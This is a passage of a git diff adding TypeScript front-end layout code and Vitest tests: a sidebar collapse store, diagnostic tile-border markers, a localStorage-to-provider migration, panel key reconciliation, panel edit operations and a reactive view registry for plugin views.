+ /** Storage key override (tests). Defaults to `dispatch.sidebar.open`. */
+ readonly key?: string | undefined;
+}
+
+/** The boot default: open on wide screens (narrow screens start closed). */
+export function bootDefaultOpen(viewportWidth: number | undefined): boolean {
+ if (viewportWidth === undefined) return true;
+ return viewportWidth >= WIDE_BREAKPOINT;
+}
+
+/** Parse the persisted value. Today's format is a bare JSON boolean; anything else is ignored. */
+export function parsePersistedOpen(raw: string | null): boolean | null {
+ if (raw === null) return null;
+ try {
+ const parsed: unknown = JSON.parse(raw);
+ return typeof parsed === "boolean" ? parsed : null;
+ } catch {
+ return null;
+ }
+}
+
+export function createCollapseStore(options?: CollapseStoreOptions): CollapseStore {
+ const key = options?.key ?? SIDEBAR_OPEN_KEY;
+ const storage = options?.storage;
+ const persisted = parsePersistedOpen(storage === undefined ? null : storage.getItem(key));
+ const defaultOpen = persisted ?? bootDefaultOpen(options?.viewportWidth);
+
+ let openByNode: Record<string, boolean> = {};
+ const store = writable<CollapseState>({ openByNode, defaultOpen });
+
+ function set(nodeId: string, open: boolean): void {
+ openByNode = { ...openByNode, [nodeId]: open };
+ store.set({ openByNode, defaultOpen });
+ // Persist the toggled node's state as today's bare boolean. With one
+ // collapsible node (always, today) this is exactly today's behavior.
+ if (storage !== undefined) {
+ try {
+ storage.setItem(key, JSON.stringify(open));
+ } catch {
+ // Swallow quota / write errors — persistence is best-effort.
+ }
+ }
+ }
+
+ function isOpen(nodeId: string): boolean {
+ return openByNode[nodeId] ?? defaultOpen;
+ }
+
+ return {
+ subscribe: store.subscribe,
+ isOpen,
+ setOpen: (nodeId, open) => set(nodeId, open),
+ toggle: (nodeId) => set(nodeId, !isOpen(nodeId)),
+ };
+}
diff --git a/src/features/layout/logic/marker.test.ts b/src/features/layout/logic/marker.test.ts
new file mode 100644
index 0000000..53b91b0
--- /dev/null
+++ b/src/features/layout/logic/marker.test.ts
@@ -0,0 +1,29 @@
+import type { TileMarker } from "@dispatch/layout-contract";
+import { describe, expect, it } from "vitest";
+import { markerOutline, markerStyle } from "./marker";
+
+describe("markerOutline — the diagnostic tile-border mapping", () => {
+ it("main → a 4px solid red outline (the main tile's marker)", () => {
+ expect(markerOutline("main")).toBe("4px solid red");
+ });
+
+ it("side → a 4px solid green outline (the side tile's marker)", () => {
+ expect(markerOutline("side")).toBe("4px solid green");
+ });
+
+ it("no marker → no outline (existing trees render exactly as before)", () => {
+ expect(markerOutline(undefined)).toBeUndefined();
+ });
+});
+
+describe("markerStyle — the complete inline style (outline + inset offset)", () => {
+ it("insets the outline so it draws INSIDE the tile's box (never clipped at screen edges)", () => {
+ expect(markerStyle("main")).toBe("outline: 4px solid red; outline-offset: -4px");
+ expect(markerStyle("side")).toBe("outline: 4px solid green; outline-offset: -4px");
+ });
+
+ it("no/unknown marker → NO style at all (unmarked nodes carry zero outline CSS)", () => {
+ expect(markerStyle(undefined)).toBeUndefined();
+ expect(markerStyle("purple" as unknown as TileMarker)).toBeUndefined();
+ });
+});
diff --git a/src/features/layout/logic/marker.ts b/src/features/layout/logic/marker.ts
new file mode 100644
index 0000000..46259e0
--- /dev/null
+++ b/src/features/layout/logic/marker.ts
@@ -0,0 +1,46 @@
+/**
+ * Diagnostic tile-border markers (the contract's additive `TileMarker`
+ * presentation field) → the inline outline the renderer draws. Pure
+ * decision logic — the .svelte tile components just apply the returned
+ * style value.
+ *
+ * INLINE STYLES, deliberately: a marker value arrives in TREE DATA at
+ * runtime, and Tailwind only generates classes it sees in source files — a
+ * dynamic class from tree data would silently render nothing. An outline
+ * (not a border) is used so the diagnostic draws WITHOUT changing any
+ * tile's layout/size (4px solid, clearly visible).
+ *
+ * The outline is INSET (`outline-offset: -4px`) so it draws INSIDE the
+ * tile's box: tiles span their containers edge-to-edge, so the default
+ * (outside) outline overflows the visible area and is clipped away at the
+ * screen edges. The views inside the tiles have no opaque full-bleed
+ * background, so the inset ring stays on top of the tile's content.
+ *
+ * The marker is purely presentational: unknown/absent → no outline
+ * (existing trees render exactly as before), and no other behavior is
+ * attached to it anywhere in the renderer.
+ */
+
+import type { TileMarker } from "@dispatch/layout-contract";
+
+/** The diagnostic outline style for a marker — `undefined` = draw nothing. */
+export function markerOutline(marker: TileMarker | undefined): string | undefined {
+ if (marker === "main") return "4px solid red";
+ if (marker === "side") return "4px solid green";
+ return undefined;
+}
+
+/** The inset that keeps the outline INSIDE the tile's box (see the header note). */
+export const MARKER_OUTLINE_OFFSET = "-4px";
+
+/**
+ * The COMPLETE inline style for a marked element — outline + inset offset in
+ * one declaration — or `undefined` when unmarked/unknown, so unmarked nodes
+ * carry no outline CSS at all (existing trees render exactly as before).
+ */
+export function markerStyle(marker: TileMarker | undefined): string | undefined {
+ const outline = markerOutline(marker);
+ return outline === undefined
+ ? undefined
+ : `outline: ${outline}; outline-offset: ${MARKER_OUTLINE_OFFSET}`;
+}
diff --git a/src/features/layout/logic/migration.test.ts b/src/features/layout/logic/migration.test.ts
new file mode 100644
index 0000000..9eeeda0
--- /dev/null
+++ b/src/features/layout/logic/migration.test.ts
@@ -0,0 +1,68 @@
+import { DEFAULT_LAYOUT } from "@dispatch/layout-contract";
+import { describe, expect, it } from "vitest";
+import { migrationTree, sidePanelViews, storedPanelViews } from "./migration";
+import { overlaySidePanels } from "./seed";
+
+const KNOWN = new Set(["tabs", "model", "extensions", "vision", "tasks"]);
+
+describe("storedPanelViews", () => {
+ it("parses a stored array of view ids, filtered to known views, order kept", () => {
+ expect(storedPanelViews(["vision", "junk", "tasks"], KNOWN)).toEqual(["vision", "tasks"]);
+ });
+
+ it("returns null for absent/junk/non-array values", () => {
+ expect(storedPanelViews(null, KNOWN)).toBeNull();
+ expect(storedPanelViews(undefined, KNOWN)).toBeNull();
+ expect(storedPanelViews("extensions", KNOWN)).toBeNull();
+ expect(storedPanelViews({ 0: "tabs" }, KNOWN)).toBeNull();
+ });
+
+ it("returns null when nothing stored is a known view", () => {
+ expect(storedPanelViews(["deleted-view", "another-gone"], KNOWN)).toBeNull();
+ expect(storedPanelViews([], KNOWN)).toBeNull();
+ });
+});
+
+describe("sidePanelViews", () => {
+ it("reads the default tree's side panels", () => {
+ expect(sidePanelViews(DEFAULT_LAYOUT)).toEqual(["tabs", "model"]);
+ });
+
+ it("returns null for a tree without a 'side' panels node", () => {
+ expect(sidePanelViews({ version: 1, root: { kind: "leaf", view: "chat" } })).toBeNull();
+ });
+});
+
+describe("migrationTree (§2.7 — one-way, best-effort)", () => {
+ it("imports the stored selection when the fetched tree is the untouched default seed", () => {
+ const stored = JSON.stringify(["extensions", "tasks"]);
+ const migrated = migrationTree(JSON.parse(stored), KNOWN, DEFAULT_LAYOUT);
+ expect(migrated).toEqual(overlaySidePanels(DEFAULT_LAYOUT, ["extensions", "tasks"]));
+ // The rest of the tree is untouched — only the side panels changed.
+ expect(migrated?.root).toEqual(
+ overlaySidePanels(DEFAULT_LAYOUT, ["extensions", "tasks"])?.root,
+ );
+ });
+
+ it("returns null when the key is absent / junk / has no known views (nothing to import)", () => {
+ expect(migrationTree(null, KNOWN, DEFAULT_LAYOUT)).toBeNull();
+ expect(migrationTree("junk", KNOWN, DEFAULT_LAYOUT)).toBeNull();
+ expect(migrationTree(["gone-view"], KNOWN, DEFAULT_LAYOUT)).toBeNull();
+ });
+
+ it("returns null when the provider's tree is NOT the default seed (custom layout wins)", () => {
+ const custom = overlaySidePanels(DEFAULT_LAYOUT, ["vision"]);
+ expect(migrationTree(["extensions"], KNOWN, custom)).toBeNull();
+ });
+
+ it("returns null when the fetched tree has no side panels node at all", () => {
+ expect(
+ migrationTree(["extensions"], KNOWN, { version: 1, root: { kind: "leaf", view: "chat" } }),
+ ).toBeNull();
+ });
+
+ it("a stored selection identical to the default still migrates (a harmless idempotent PUT)", () => {
+ const migrated = migrationTree(["tabs", "model"], KNOWN, DEFAULT_LAYOUT);
+ expect(migrated).toEqual(DEFAULT_LAYOUT);
+ });
+});
diff --git a/src/features/layout/logic/migration.ts b/src/features/layout/logic/migration.ts
new file mode 100644
index 0000000..e0ed6fd
--- /dev/null
+++ b/src/features/layout/logic/migration.ts
@@ -0,0 +1,76 @@
+/**
+ * localStorage → provider migration (plan 02 §2.7, D-L4; one-way, best-effort).
+ *
+ * `dispatch.sidebar.views` is retired as a source of truth: on boot WITH a
+ * provider present, if the key exists AND the fetched tree's `side` panels
+ * equal DEFAULT_LAYOUT's (the workspace still has the untouched default
+ * seed), the stored panel selection is imported once via a PUT. When the
+ * provider's tree differs from the default (e.g. a calendar provider), the
+ * workspace already has a custom layout — importing the old sidebar override
+ * would be wrong. Regardless of outcome the key is never read again (the
+ * bytes stay, but nothing consumes them).
+ *
+ * Pure decision logic: the store owns the effects (the localStorage read +
+ * the PUT); this module decides IF and WHAT.
+ */
+
+import {
+ DEFAULT_LAYOUT,
+ findById,
+ type LayoutTree,
+ type PanelsNode,
+} from "@dispatch/layout-contract";
+import { overlaySidePanels } from "./seed";
+
+/**
+ * The stored selection's usable view ids: an array of strings filtered to the
+ * known (registered) views, in stored order. null when nothing usable is
+ * stored (absent key, junk, or no known ids) — nothing to import.
+ */
+export function storedPanelViews(
+ raw: unknown,
+ knownViews: ReadonlySet<string>,
+): readonly string[] | null {
+ if (!Array.isArray(raw)) return null;
+ const known = raw.filter((v): v is string => typeof v === "string" && knownViews.has(v));
+ return known.length > 0 ? known : null;
+}
+
+/**
+ * The view ids of a tree's `"side"` panels node (the default tree's swappable
+ * sidebar stack), or null when the tree has no such node.
+ */
+export function sidePanelViews(tree: LayoutTree): readonly string[] | null {
+ const found = findById(tree, "side");
+ if (found === null || found.node.kind !== "panels") return null;
+ return (found.node as PanelsNode).panels.map((p) => p.view);
+}
+
+function samePanels(a: readonly string[], b: readonly string[]): boolean {
+ return a.length === b.length && a.every((v, i) => v === b[i]);
+}
+
+/**
+ * The one-way migration decision (§2.7): given the RAW stored value, the
+ * known view ids, and the tree fetched from the provider, return the tree to
+ * PUT once — or null when there is nothing to migrate:
+ * - the stored key holds no usable selection, or
+ * - the provider's tree is NOT the untouched default seed (its side panels
+ * differ from DEFAULT_LAYOUT's — the workspace already has a custom layout).
+ */
+export function migrationTree(
+ storedRaw: unknown,
+ knownViews: ReadonlySet<string>,
+ fetched: LayoutTree,
+): LayoutTree | null {
+ const stored = storedPanelViews(storedRaw, knownViews);
+ if (stored === null) return null;
+ const fetchedPanels = sidePanelViews(fetched);
+ const defaultPanels = sidePanelViews(DEFAULT_LAYOUT);
+ if (fetchedPanels === null || defaultPanels === null) return null;
+ if (!samePanels(fetchedPanels, defaultPanels)) return null;
+ // Overlay the stored selection onto the fetched tree (identical to the
+ // default here by the guard above — the seed overlay keeps the rest of the
+ // tree shared, not copied).
+ return overlaySidePanels(fetched, stored);
+}
diff --git a/src/features/layout/logic/panel-keys.test.ts b/src/features/layout/logic/panel-keys.test.ts
new file mode 100644
index 0000000..b45671a
--- /dev/null
+++ b/src/features/layout/logic/panel-keys.test.ts
@@ -0,0 +1,73 @@
+import { describe, expect, it } from "vitest";
+import { initialPanelKeys, reconcilePanelKeys, swappedPanels } from "./panel-keys";
+
+describe("initialPanelKeys", () => {
+ it("numbers the panels in order and seeds past them", () => {
+ expect(initialPanelKeys(["tabs", "model"])).toEqual({
+ views: ["tabs", "model"],
+ keys: [0, 1],
+ seed: 2,
+ });
+ });
+});
+
+describe("reconcilePanelKeys", () => {
+ const start = initialPanelKeys(["tabs", "model", "usage"]); // keys 0 1 2
+
+ it("closing the MIDDLE panel drops the middle key (not the last)", () => {
+ const next = reconcilePanelKeys(start, ["tabs", "usage"]);
+ expect(next.keys).toEqual([0, 2]);
+ expect(next.seed).toBe(3);
+ });
+
+ it("adding a panel gives only the new one a fresh key", () => {
+ const next = reconcilePanelKeys(start, ["tabs", "model", "usage", "lsp"]);
+ expect(next.keys).toEqual([0, 1, 2, 3]);
+ expect(next.seed).toBe(4);
+ });
+
+ it("a dropdown swap keeps every key positional", () => {
+ const next = reconcilePanelKeys(start, ["tabs", "lsp", "usage"]);
+ expect(next.keys).toEqual([0, 1, 2]);
+ });
+
+ it("handles duplicate views and never reuses a key", () => {
+ const dup = initialPanelKeys(["a", "b", "a"]); // 0 1 2
+ const removed = reconcilePanelKeys(dup, ["a", "a"]);
+ expect(removed.keys).toEqual([0, 2]);
+ const added = reconcilePanelKeys(removed, ["a", "a", "a"]);
+ expect(added.keys).toEqual([0, 2, 3]);
+ expect(new Set(added.keys).size).toBe(3);
+ });
+
+ it("a ✕ hint picks the exact panel when identical views make it ambiguous", () => {
+ const twins = initialPanelKeys(["model", "usage", "usage"]); // 0 1 2
+ expect(reconcilePanelKeys(twins, ["model", "usage"]).keys).toEqual([0, 1]); // no hint
+ expect(reconcilePanelKeys(twins, ["model", "usage"], 1).keys).toEqual([0, 2]);
+ });
+
+ it("ignores a stale hint that does not describe the change", () => {
+ // The tree changed some other way (e.g. a remote edit) — fall back to LCS.
+ expect(reconcilePanelKeys(start, ["tabs", "model"], 0).keys).toEqual([0, 1]);
+ expect(reconcilePanelKeys(start, ["tabs", "model", "usage"], 1).keys).toEqual([0, 1, 2]);
+ });
+
+ it("an unrelated replacement of different length gets all-fresh keys", () => {
+ const next = reconcilePanelKeys(start, ["x"]);
+ expect(next.keys).toEqual([3]);
+ });
+});
+
+describe("swappedPanels", () => {
+ it("reports a surviving panel whose view changed", () => {
+ const prev = initialPanelKeys(["tabs", "model"]);
+ const next = reconcilePanelKeys(prev, ["tabs", "usage"]);
+ expect([...swappedPanels(prev, next)]).toEqual([[1, { from: "model", to: "usage" }]]);
+ });
+
+ it("does not report adds or removes", () => {
+ const prev = initialPanelKeys(["tabs", "model", "usage"]);
+ expect(swappedPanels(prev, reconcilePanelKeys(prev, ["tabs", "usage"])).size).toBe(0);
+ expect(swappedPanels(prev, reconcilePanelKeys(prev, [...prev.views, "lsp"])).size).toBe(0);
+ });
+});
diff --git a/src/features/layout/logic/panel-keys.ts b/src/features/layout/logic/panel-keys.ts
new file mode 100644
index 0000000..76a053f
--- /dev/null
+++ b/src/features/layout/logic/panel-keys.ts
@@ -0,0 +1,118 @@
+/**
+ * Stable panel keys — the PURE identity scheme behind the panel height
+ * animation.
+ *
+ * Panel leaves carry no required id, so the panels list can't be keyed by the
+ * tree. Keying by INDEX is wrong for removal: closing the middle of three
+ * panels would re-use the middle DOM node for the third view and animate the
+ * LAST panel out. This reconciles a stable numeric key per panel across tree
+ * updates, from the view ids alone:
+ *
+ * - same length → keys stay positional (a dropdown SWAP keeps its panel —
+ * the panel morphs its height to the new view instead of leaving).
+ * - length changed → the longest common subsequence of view ids keeps its
+ * keys; every unmatched new panel gets a fresh key (an ADD), every
+ * unmatched old key disappears (a REMOVE).
+ *
+ * Zero Svelte, zero DOM.
+ */
+
+export interface PanelKeys {
+ /** View id per panel, in order. */
+ readonly views: readonly string[];
+ /** Stable key per panel, aligned with `views`. */
+ readonly keys: readonly number[];
+ /** The next fresh key. */
+ readonly seed: number;
+}
+
+/** Keys for a freshly mounted panels list. */
+export function initialPanelKeys(views: readonly string[]): PanelKeys {
+ return { views: [...views], keys: views.map((_, i) => i), seed: views.length };
+}
+
+/**
+ * Reconcile `prev` against the next view list (see the module doc).
+ *
+ * `removedIndex` is an optional HINT from a local ✕ click: when the next list
+ * is exactly `prev` minus that index, that exact panel is the one removed.
+ * Without it, closing one of two identical adjacent views is ambiguous to the
+ * subsequence match (it would drop the later one).
+ */
+export function reconcilePanelKeys(
+ prev: PanelKeys,
+ nextViews: readonly string[],
+ removedIndex?: number,
+): PanelKeys {
+ if (removedIndex !== undefined && isRemovalAt(prev.views, nextViews, removedIndex)) {
+ return {
+ views: [...nextViews],
+ keys: prev.keys.filter((_, i) => i !== removedIndex),
+ seed: prev.seed,
+ };
+ }
+ if (nextViews.length === prev.views.length) {
+ return { views: [...nextViews], keys: [...prev.keys], seed: prev.seed };
+ }
+ const matched = lcsMatch(prev.views, nextViews);
+ let seed = prev.seed;
+ const keys = nextViews.map((_, j) => {
+ const i = matched.get(j);
+ if (i !== undefined) return prev.keys[i] ?? seed++;
+ return seed++;
+ });
+ return { views: [...nextViews], keys, seed };
+}
+
+/**
+ * The views whose panel SURVIVED but now mounts a different view (a swap):
+ * key → { from, to }. Adds/removes are not swaps.
+ */
+export function swappedPanels(
+ prev: PanelKeys,
+ next: PanelKeys,
+): Map<number, { from: string; to: string }> {
+ const before = new Map(prev.keys.map((k, i) => [k, prev.views[i] ?? ""]));
+ const out = new Map<number, { from: string; to: string }>();
+ next.keys.forEach((k, i) => {
+ const from = before.get(k);
+ const to = next.views[i] ?? "";
+ if (from !== undefined && from !== to) out.set(k, { from, to });
+ });
+ return out;
+}
+
+function isRemovalAt(prev: readonly string[], next: readonly string[], index: number): boolean {
+ if (index < 0 || index >= prev.length || next.length !== prev.length - 1) return false;
+ return next.every((v, j) => v === prev[j < index ? j : j + 1]);
+}
+
+/** LCS alignment: next index → prev index for every matched element. */
+function lcsMatch(a: readonly string[], b: readonly string[]): Map<number, number> {
+ const n = a.length;
+ const m = b.length;
+ // dp[i][j] = LCS length of a[i..] and b[j..]
+ const dp: number[][] = Array.from({ length: n + 1 }, () => new Array<number>(m + 1).fill(0));
+ for (let i = n - 1; i >= 0; i--) {
+ for (let j = m - 1; j >= 0; j--) {
+ const row = dp[i] as number[];
+ const below = dp[i + 1] as number[];
+ row[j] = a[i] === b[j] ? (below[j + 1] ?? 0) + 1 : Math.max(below[j] ?? 0, row[j + 1] ?? 0);
+ }
+ }
+ const out = new Map<number, number>();
+ let i = 0;
+ let j = 0;
+ while (i < n && j < m) {
+ if (a[i] === b[j]) {
+ out.set(j, i);
+ i++;
+ j++;
+ } else if ((dp[i + 1]?.[j] ?? 0) >= (dp[i]?.[j + 1] ?? 0)) {
+ i++;
+ } else {
+ j++;
+ }
+ }
+ return out;
+}
diff --git a/src/features/layout/logic/panels-edit.test.ts b/src/features/layout/logic/panels-edit.test.ts
new file mode 100644
index 0000000..b4c3099
--- /dev/null
+++ b/src/features/layout/logic/panels-edit.test.ts
@@ -0,0 +1,29 @@
+import { describe, expect, it } from "vitest";
+import { addPanelOp, firstPanelView, removePanelOp, swapPanelOp } from "./panels-edit";
+
+describe("panel edit → op mapping", () => {
+ it("maps a dropdown swap to a replaceView on the panel leaf's path", () => {
+ expect(swapPanelOp([1], 2, "model")).toEqual({
+ type: "replaceView",
+ target: [1, 2],
+ view: "model",
+ });
+ });
+
+ it("maps the + button to an append insertPanel", () => {
+ expect(addPanelOp(["titlebar"], "tasks")).toEqual({
+ type: "insertPanel",
+ panels: ["titlebar"],
+ view: "tasks",
+ });
+ });
+
+ it("maps the ✕ button to a removeNode on the panel leaf's path", () => {
+ expect(removePanelOp([1], 0)).toEqual({ type: "removeNode", target: [1, 0] });
+ });
+
+ it("the + button pre-selects the first eligible view (or null when none)", () => {
+ expect(firstPanelView([{ id: "tabs" }, { id: "model" }])).toBe("tabs");
+ expect(firstPanelView([])).toBeNull();
+ });
+});
diff --git a/src/features/layout/logic/panels-edit.ts b/src/features/layout/logic/panels-edit.ts
new file mode 100644
index 0000000..8a56859
--- /dev/null
+++ b/src/features/layout/logic/panels-edit.ts
@@ -0,0 +1,33 @@
+/**
+ * Panel-edit → tree-op mapping: the pure decision logic behind TilePanels'
+ * dropdown swap / add / remove buttons. The component builds the ops; the
+ * renderer's owner (TileRoot → onTreeChange) applies them. Zero Svelte, zero
+ * DOM.
+ */
+
+import type { LayoutOp, Path } from "@dispatch/layout-contract";
+
+/** Swap the view a panel leaf mounts (panel `index` of the panels node at `path`). */
+export function swapPanelOp(path: Path, index: number, view: string): LayoutOp {
+ return { type: "replaceView", target: [...path, index], view };
+}
+
+/** Add a panel mounting `view` (appended to the panels node at `path`). */
+export function addPanelOp(path: Path, view: string): LayoutOp {
+ return { type: "insertPanel", panels: path, view };
+}
+
+/** Remove the panel at `index` from the panels node at `path`. */
+export function removePanelOp(path: Path, index: number): LayoutOp {
+ return { type: "removeNode", target: [...path, index] };
+}
+
+/**
+ * The view a new panel starts with. The tree schema has no "empty panel"
+ * state (a leaf's `view` is required — today's "Select a view" placeholder has
+ * no tree representation), so the + button pre-selects the first panel-eligible
+ * view. Returns null when nothing is eligible (the + button hides).
+ */
+export function firstPanelView(views: readonly { readonly id: string }[]): string | null {
+ return views[0]?.id ?? null;
+}
diff --git a/src/features/layout/logic/registry.test.ts b/src/features/layout/logic/registry.test.ts
new file mode 100644
index 0000000..e5e947c
--- /dev/null
+++ b/src/features/layout/logic/registry.test.ts
@@ -0,0 +1,148 @@
+import type { Component } from "svelte";
+import { afterEach, describe, expect, it } from "vitest";
+import {
+ getView,
+ listPanelViews,
+ listViews,
+ registerPluginView,
+ registerView,
+ unregisterView,
+ unregisterViewsByPlugin,
+ type ViewRegistration,
+ viewRegistry,
+} from "./registry";
+
+const fakeComponent: Component = () => {
+ throw new Error("fixture component should never be constructed");
+};
+
+function registration(overrides?: Partial<ViewRegistration>): ViewRegistration {
+ return { id: "test-view", label: "Test View", component: fakeComponent, ...overrides };
+}
+
+const registeredIds = (): string[] => listViews().map((v) => v.id);
+
+afterEach(() => {
+ for (const id of registeredIds()) unregisterView(id);
+});
+
+describe("view registry", () => {
+ it("registers a view and exposes it via getView/listViews", () => {
+ registerView(registration());
+ expect(getView("test-view")?.label).toBe("Test View");
+ expect(registeredIds()).toContain("test-view");
+ });
+
+ it("throws loudly on a duplicate id", () => {
+ registerView(registration());
+ expect(() => registerView(registration({ label: "Other" }))).toThrow(/duplicate view id/);
+ });
+
+ it("normalizes panelEligible to true by default and respects false", () => {
+ registerView(registration({ id: "a" }));
+ registerView(registration({ id: "b", panelEligible: false }));
+ expect(getView("a")?.panelEligible).toBe(true);
+ expect(getView("b")?.panelEligible).toBe(false);
+ expect(listPanelViews().map((v) => v.id)).toContain("a");
+ expect(listPanelViews().map((v) => v.id)).not.toContain("b");
+ });
+
+ it("keeps pluginId when given", () => {
+ registerView(registration({ id: "plugin-view", pluginId: "my-plugin" }));
+ expect(getView("plugin-view")?.pluginId).toBe("my-plugin");
+ });
+
+ it("unregisterView removes the view (idempotent for unknown ids)", () => {
+ registerView(registration({ id: "gone" }));
+ unregisterView("gone");
+ expect(getView("gone")).toBeUndefined();
+ expect(() => unregisterView("never-registered")).not.toThrow();
+ });
+
+ it("is reactive: subscribers see registrations and unregistrations", () => {
+ const seen: string[][] = [];
+ const unsubscribe = viewRegistry.subscribe((views) => seen.push(views.map((v) => v.id)));
+ try {
+ registerView(registration({ id: "reactive-a" }));
+ registerView(registration({ id: "reactive-b" }));
+ unregisterView("reactive-a");
+ } finally {
+ unsubscribe();
+ }
+ expect(seen[0]).toEqual([]);
+ expect(seen.at(-1)).toEqual(["reactive-b"]);
+ });
+
+ it("preserves registration order in listViews", () => {
+ registerView(registration({ id: "z-first" }));
+ registerView(registration({ id: "a-second" }));
+ const ids = registeredIds();
+ expect(ids.indexOf("z-first")).toBeLessThan(ids.indexOf("a-second"));
+ });
+});
+
+// ── Plugin-view registration (plan 03) — forced attribution + the sweep ─────
+
+describe("registerPluginView / unregisterViewsByPlugin (plan 03)", () => {
+ it("forces the importing plugin's pluginId attribution", () => {
+ const dispose = registerPluginView(
+ { id: "abi-view", label: "ABI View", component: fakeComponent },
+ "my-plugin",
+ );
+ expect(getView("abi-view")?.pluginId).toBe("my-plugin");
+ dispose();
+ expect(getView("abi-view")).toBeUndefined();
+ });
+
+ it("returns a working per-view disposer (the plugin deactivate contract)", () => {
+ const dispose = registerPluginView(
+ { id: "abi-view-2", label: "ABI View", component: fakeComponent },
+ "my-plugin",
+ );
+ dispose();
+ dispose(); // idempotent
+ expect(getView("abi-view-2")).toBeUndefined();
+ });
+
+ it("the sweep removes exactly that plugin's views (registry attribution)", () => {
+ registerPluginView({ id: "p1-a", label: "A", component: fakeComponent }, "plugin-1");
+ registerPluginView({ id: "p1-b", label: "B", component: fakeComponent }, "plugin-1");
+ registerPluginView({ id: "p2-a", label: "C", component: fakeComponent }, "plugin-2");
+ registerView(registration({ id: "builtin" })); // no pluginId — never swept
+
+ unregisterViewsByPlugin("plugin-1");
+ expect(getView("p1-a")).toBeUndefined();
+ expect(getView("p1-b")).toBeUndefined();
+ expect(getView("p2-a")).not.toBeUndefined();
+ expect(getView("builtin")).not.toBeUndefined();
+
+ unregisterViewsByPlugin("plugin-2");
+ expect(getView("p2-a")).toBeUndefined();
+ expect(getView("builtin")).not.toBeUndefined();
+ });
+
+ it("the sweep is idempotent and a no-op for an unknown plugin", () => {
+ unregisterViewsByPlugin("nobody");
+ registerPluginView({ id: "p3-a", label: "A", component: fakeComponent }, "plugin-3");
+ unregisterViewsByPlugin("plugin-3");
+ expect(() => unregisterViewsByPlugin("plugin-3")).not.toThrow();
+ });
+
+ it("a duplicate id from a plugin throws LOUDLY (the driver marks it failed)", () => {
+ registerView(registration({ id: "taken" }));
+ expect(() =>
+ registerPluginView({ id: "taken", label: "Taken", component: fakeComponent }, "my-plugin"),
+ ).toThrow(/duplicate view id/);
+ });
+
+ it("sweep removals are visible to registry subscribers (reactive)", () => {
+ const seen: string[][] = [];
+ const unsubscribe = viewRegistry.subscribe((views) => {
+ seen.push(views.map((v) => v.id));
+ });
+ registerPluginView({ id: "reactive", label: "R", component: fakeComponent }, "p");
+ unregisterViewsByPlugin("p");
+ unsubscribe();
+ expect(seen.at(-1)).not.toContain("reactive");
+ });
+});
diff --git a/src/features/layout/logic/registry.ts b/src/features/layout/logic/registry.ts
new file mode 100644
index 0000000..bcd49e0
--- /dev/null
+++ b/src/features/layout/logic/registry.ts
@@ -0,0 +1,139 @@
+/**
+ * The view registry — the map from view id → component that tile leaves mount.
+ *
+ * Every view the renderer can place (the sidebar views + chat / composer /
+ * message-queue today; plugin views from plan 03 later) registers here. The
+ * registry is REACTIVE (a Svelte store): plan 03's late registrations re-render
+ * open dropdowns, and the tree renderer resolves leaves through it per render.
+ *
+ * An unknown view id in a leaf is NEVER a crash — backend-owned trees (plan 02)
+ * can name views a given client lacks; the renderer shows a fallback tile.
+ *
+ * This module holds a small amount of reactive state by design (the plan places
+ * the registry in `logic/` with Svelte-store reactivity). It is NOT decision
+ * logic — no DOM, no effects.
+ */
+
+import type { Component } from "svelte";
+import { type Readable, writable } from "svelte/store";
+
+/**
+ * The props type of a registered view component. The composition root hands
+ * every wrapper its `ports` through this bag (see `src/app/view-ports.ts`);
+ * fixture/generic components may ignore it.
+ *
+ * The registry is a HETEROGENEOUS component bag (the plan types it `Component`
+ * outright), so its props are opaque `Record<string, any>` — the wrappers
+ * re-narrow to their concrete props at the composition-root seam.
+ */
+export type ViewComponent =
+ // biome-ignore lint/suspicious/noExplicitAny: opaque props of a heterogeneous component bag
+ Component<Record<string, any>>;
+
+export interface ViewRegistration {
+ /** Registry id — the same id a leaf's `view` field names. */
+ readonly id: string;
+ /** Human label shown in panel dropdowns. */
+ readonly label: string;
+ /** Svelte 5 component, already props-wired (see `src/app/register-views.ts`). */
+ readonly component: ViewComponent;
+ /** Whether the view may appear in panel dropdowns (default true). */
+ readonly panelEligible?: boolean;
+ /** The plugin that contributed the view (plan 03 requires it for those). */
+ readonly pluginId?: string;
+}
+
+/** A registered view with `panelEligible` normalized (default true). */
+export interface RegisteredView {
+ readonly id: string;
+ readonly label: string;
+ readonly component: ViewComponent;
+ readonly panelEligible: boolean;
+ readonly pluginId: string | undefined;
+}
+
+const byId = new Map<string, RegisteredView>();
+const store = writable<readonly RegisteredView[]>([]);
+
+function publish(): void {
+ store.set([...byId.values()]);
+}
+
+/**
+ * Register a view. A duplicate id throws LOUDLY at dev time — two components
+ * claiming one id is a composition-root bug, never a runtime fallback case.
+ */
+export function registerView(registration: ViewRegistration): void {
+ if (byId.has(registration.id)) {
+ throw new Error(`registerView: duplicate view id "${registration.id}"`);
+ }
+ byId.set(registration.id, {
+ id: registration.id,
+ label: registration.label,
+ component: registration.component,
+ panelEligible: registration.panelEligible ?? true,
+ pluginId: registration.pluginId,
+ });
+ publish();
+}
+
+/** Remove a view. Idempotent (removing an unknown id is a no-op). */
+export function unregisterView(id: string): void {
+ if (byId.delete(id)) publish();
+}
+
+/**
+ * Register a PLUGIN view (plan 03) — the ABI-facing registration: the
+ * `pluginId` attribution is FORCED to the importing plugin (plugins cannot
+ * attribute views to another plugin or to no plugin), which is what makes
+ * `unregisterViewsByPlugin`'s unload sweep exact. Returns the per-view
+ * disposer (the plugin's deactivate contract). A duplicate id throws
+ * LOUDLY — the driver catches it and marks the plugin's FE half failed.
+ */
+export function registerPluginView(
+ registration: Omit<ViewRegistration, "pluginId">,
+ pluginId: string,
+): () => void {
+ registerView({ ...registration, pluginId });
+ return () => unregisterView(registration.id);
+}
+
+/**
+ * Remove every view attributed to one plugin (the plan-03 unload sweep).
+ * Idempotent; the reactive registry re-renders open dropdowns, and tiles
+ * holding removed views fall back to `FallbackTile` (never a crash).
+ */
+export function unregisterViewsByPlugin(pluginId: string): void {
+ let changed = false;
+ for (const [id, view] of byId) {
+ if (view.pluginId === pluginId) {
+ byId.delete(id);
+ changed = true;
+ }
+ }
+ if (changed) publish();
+}
+
+/** Look a view up by id (undefined → the renderer shows its fallback tile). */
+export function getView(id: string): RegisteredView | undefined {
+ return byId.get(id);
+}
+
+/** All registered views, in registration order (snapshot). */
+export function listViews(): readonly RegisteredView[] {
+ return [...byId.values()];
+}
+
+/** The panel-eligible subset (`panelEligible: true`) — panel dropdown options. */
+export function listPanelViews(): readonly RegisteredView[] {
+ return listViews().filter((v) => v.panelEligible);
+}
+
+/**
+ * Reactive registry contents (registration order). Subscribe in components —
+ * e.g. `$viewRegistry` in a panel dropdown — so late registrations (plan 03)
+ * re-render open dropdowns.
+ */
